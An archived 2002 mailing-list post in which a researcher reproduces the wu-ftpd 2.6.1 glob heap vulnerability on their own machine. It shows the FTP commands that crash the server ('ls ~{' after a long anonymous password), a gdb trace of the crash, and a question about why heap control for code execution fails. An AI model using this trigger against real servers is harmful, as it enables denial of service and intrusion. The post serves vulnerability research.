Vulnerability Development mailing list archives
Fw: wu-ftpd glob vulnerability
From: fromeo () fub it (Federico Romeo)
Date: Tue, 29 Oct 2002 13:26:47 +0100
Hi ! I'm studing vulnerability of ftp servers and testing the glob heap vulnerability of wu-ftpd server (version 2.6.1 installed on linux RedHat 7.2) . I tried to attack the server following this technique: I logged in as anonymous user an d I send a lot of 'a' as Password. As you can see this is my computer: ftp> open localhost Connected to localhost (127.0.0.1). 220 sasha FTP server (Version wu-2.6.1-18) ready. Name (localhost:root): anonymous Password: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 230 Guest login ok, access restrictions apply. Remote system type is UNIX. ftp> open localhost Connected to localhost (127.0.0.1). 220 sasha FTP server (Version wu-2.6.1-18) ready. Name (localhost:root): anonymous 331 Guest login ok, send your complete e-mail address as password. Password: Using binary mode to transfer files. ftp> ls ~{ 227 Entering Passive Mode (127,0,0,1,241,205) 421 Service not available, remote server has closed connection And this is the debugging section on the attacked machine: 1405 ? S 0:00 ftpd: accepting connections on port 21 7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd 26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 26265 tty3 R 0:00 bash -c ps ax | grep ftpd (gdb) at 26256 Attaching to program: /usr/sbin/wu.ftpd, process 26256 Symbols already loaded for /lib/libcrypt.so.1 Symbols already loaded for /lib/libnsl.so.1 Symbols already loaded for /lib/libresolv.so.2 Symbols already loaded for /lib/libpam.so.0 Symbols already loaded for /lib/libdl.so.2 Symbols already loaded for /lib/i686/libc.so.6 Symbols already loaded for /lib/ld-linux.so.2 Symbols already loaded for /lib/libnss_files.so.2 Symbols already loaded for /lib/libnss_nisplus.so.2 Symbols already loaded for /lib/libnss_nis.so.2 0x40165544 in __libc_read () from /lib/i686/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. __libc_free (mem=0x4015ad68) at malloc.c:3136 3136 in malloc.c Taking a quick peek at the stack (gdb) info stack #0 __libc_free (mem=0x4015ad68) at malloc.c:3005 #1 0x80587c9 in blkfree (av0=0x8086d8c) at glob.c:619 #2 0x8056556 in yyparse () at ftpcmd.y:1158 #3 0x804bd05 in main (argc=0, argv=0xbffffba4, envp=0xbffffbb0) at ftpd.c:1329 (gdb) x 0x8086d8c 0x8086d8c: 0x4015ad68 <- this is where av0 pointed (begging of the heap!!) (gdb) x 0x8086d8d 0x8086d8d: 0x614015ad (gdb) x 0x8086d8e 0x8086d8e: 0x61614015 (gdb) x 0x8086d8f 0x8086d8f: 0x61616140 <- the start of the a's...what pointer mem became.etc. As you can see the parameter passed to the function __libc_free() is 0x4015ad68 stored in 0x8086d8c (block_free's parameter), and the start of a's (my password) is 0x8086d8f. I repeated my attack a lot of time (changing the length of password) and never any a's was passed to the __libc_free() ! How it is possible execute a malicious code on the server if I can't pass
a
particular address to __libc_free()? It seems that the address passed to the __libc_free() is always fixed by
the
system and it's impossible to change it by sending commands to the
server.
Can you, please, explain me where are my mistakes in my method?
Current thread:
- Fw: wu-ftpd glob vulnerability Federico Romeo (Oct 29)
- Re: Fw: wu-ftpd glob vulnerability Roland Postle (Oct 29)